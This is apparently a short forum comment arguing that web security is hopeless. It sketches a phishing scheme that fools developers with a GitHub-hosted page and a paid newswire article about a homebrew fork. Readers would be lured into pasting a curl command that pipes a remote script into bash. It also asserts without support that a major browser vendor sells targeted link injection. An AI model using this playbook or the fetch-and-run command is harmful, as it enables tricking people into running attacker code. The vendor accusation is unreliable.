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Doesn't really matter. The major browser is intentionally security compromised, anyway. If you pay the maker of the that browser they'll inject any links you w
by _3u10 5y ago
Doesn't really matter. The major browser is intentionally security compromised, anyway.
If you pay the maker of the that browser they'll inject any links you want on most pages on the internet. Just give them the hash of the email / phone number of your target. It helps both economically and passing their security checks if you have more than a thousand victims you want to target.
If you want to fool a developer just host it on a github page. If you want to fool anyone else, just do a decent clone of their page.
If you want it to appear on most major news network sites, just pay $150 for a newswire.
Think about it, if you crafted the right article, maybe about a fork of homebrew etc, and redirected to a github page with a link stating you needed to copy and paste
curl http://github.com/asdkfjas/homebrew.sh http://github.com/asdkfjas/homebrew.sh | bash
into their terminals how many would do it?